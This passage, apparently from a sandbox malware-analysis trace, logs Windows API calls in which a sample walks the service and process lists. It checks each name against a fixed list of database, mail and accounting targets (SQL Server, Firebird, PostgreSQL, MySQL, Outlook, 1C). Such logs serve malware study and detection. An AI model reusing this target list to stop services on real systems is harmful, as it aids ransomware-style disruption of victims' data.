(lpString="nsi") returned 3 [0044.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0044.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0044.277] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0044.277] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0044.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0044.277] lstrlenW (lpString="PcaSvc") returned 6 [0044.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0044.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0044.277] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0044.277] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0044.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0044.278] lstrlenW (lpString="PlugPlay") returned 8 [0044.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0044.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0044.278] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0044.278] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0044.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0044.278] lstrlenW (lpString="Power") returned 5 [0044.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0044.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0044.278] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0044.278] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0044.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0044.278] lstrlenW (lpString="ProfSvc") returned 7 [0044.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0044.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0044.278] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0044.278] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0044.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0044.278] lstrlenW (lpString="RpcEptMapper") returned 12 [0044.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.278] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0044.278] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0044.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0044.278] lstrlenW (lpString="RpcSs") returned 5 [0044.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0044.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0044.278] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0044.278] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0044.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0044.278] lstrlenW (lpString="SamSs") returned 5 [0044.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0044.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0044.278] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0044.279] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0044.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0044.279] lstrlenW (lpString="Schedule") returned 8 [0044.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0044.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0044.279] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0044.279] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0044.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0044.279] lstrlenW (lpString="SENS") returned 4 [0044.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0044.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0044.279] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0044.279] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0044.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0044.279] lstrlenW (lpString="ShellHWDetection") returned 16 [0044.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.279] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0044.279] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0044.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0044.279] lstrlenW (lpString="Spooler") returned 7 [0044.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0044.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0044.279] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0044.279] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0044.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0044.279] lstrlenW (lpString="sppsvc") returned 6 [0044.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0044.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0044.279] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0044.279] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0044.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0044.279] lstrlenW (lpString="SysMain") returned 7 [0044.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0044.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0044.280] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0044.280] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0044.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0044.280] lstrlenW (lpString="Themes") returned 6 [0044.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0044.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0044.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0044.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0044.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0044.280] lstrlenW (lpString="TrkWks") returned 6 [0044.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0044.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0044.280] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0044.280] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0044.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0044.280] lstrlenW (lpString="UxSms") returned 5 [0044.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0044.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0044.280] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0044.280] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0044.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0044.280] lstrlenW (lpString="VSS") returned 3 [0044.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0044.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0044.280] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0044.280] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0044.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0044.280] lstrlenW (lpString="WdiServiceHost") returned 14 [0044.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.280] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0044.280] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0044.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0044.281] lstrlenW (lpString="WdiSystemHost") returned 13 [0044.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.281] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0044.281] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0044.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0044.281] lstrlenW (lpString="WinDefend") returned 9 [0044.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0044.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0044.281] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0044.281] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0044.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0044.281] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0044.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.281] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0044.281] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0044.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0044.281] lstrlenW (lpString="Winmgmt") returned 7 [0044.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0044.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0044.281] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0044.281] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0044.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0044.281] lstrlenW (lpString="wscsvc") returned 6 [0044.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0044.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0044.281] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0044.281] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0044.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0044.281] lstrlenW (lpString="wuauserv") returned 8 [0044.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0044.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0044.282] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0044.282] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0044.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0044.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37f2700 | out: hHeap=0x520000) returned 1 [0044.284] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0044.288] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.288] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0044.289] lstrlenW (lpString="System") returned 6 [0044.289] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0044.289] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0044.289] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0044.289] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0044.289] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0044.289] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0044.289] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0044.289] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0044.290] lstrlenW (lpString="smss.exe") returned 8 [0044.290] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0044.290] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0044.290] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.290] lstrlenW (lpString="csrss.exe") returned 9 [0044.290] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0044.291] lstrlenW (lpString="wininit.exe") returned 11 [0044.291] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.291] lstrlenW (lpString="csrss.exe") returned 9 [0044.291] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0044.292] lstrlenW (lpString="winlogon.exe") returned 12 [0044.292] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0044.293] lstrlenW (lpString="services.exe") returned 12 [0044.293] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0044.293] lstrlenW (lpString="lsass.exe") returned 9 [0044.293] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0044.294] lstrlenW (lpString="lsm.exe") returned 7 [0044.294] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.294] lstrlenW (lpString="svchost.exe") returned 11 [0044.294] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.295] lstrlenW (lpString="svchost.exe") returned 11 [0044.295] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.295] lstrlenW (lpString="svchost.exe") returned 11 [0044.295] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.296] lstrlenW (lpString="svchost.exe") returned 11 [0044.296] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.296] lstrlenW (lpString="svchost.exe") returned 11 [0044.296] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0044.297] lstrlenW (lpString="audiodg.exe") returned 11 [0044.297] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.297] lstrlenW (lpString="svchost.exe") returned 11 [0044.297] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.298] lstrlenW (lpString="svchost.exe") returned 11 [0044.298] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0044.298] lstrlenW (lpString="dwm.exe") returned 7 [0044.298] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0044.299] lstrlenW (lpString="explorer.exe") returned 12 [0044.299] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0044.299] lstrlenW (lpString="spoolsv.exe") returned 11 [0044.299] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.300] lstrlenW (lpString="taskhost.exe") returned 12 [0044.300] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.300] lstrlenW (lpString="svchost.exe") returned 11 [0044.300] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0044.301] lstrlenW (lpString="taskeng.exe") returned 11 [0044.301] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.302] lstrlenW (lpString="taskhost.exe") returned 12 [0044.302] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.302] lstrlenW (lpString="svchost.exe") returned 11 [0044.302] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0044.303] lstrlenW (lpString="sppsvc.exe") returned 10 [0044.303] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.303] lstrlenW (lpString="svchost.exe") returned 11 [0044.303] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0044.304] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0044.304] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0044.304] lstrlenW (lpString="smsvhskate.exe") returned 14 [0044.304] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0044.305] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0044.305] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0044.305] lstrlenW (lpString="patient latin.exe") returned 17 [0044.305] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0044.306] lstrlenW (lpString="barbados.exe") returned 12 [0044.306] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0044.568] lstrlenW (lpString="otthose.exe") returned 11 [0044.568] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0044.568] lstrlenW (lpString="suburban.exe") returned 12 [0044.568] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0044.569] lstrlenW (lpString="examination.exe") returned 15 [0044.569] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0044.569] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0044.569] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 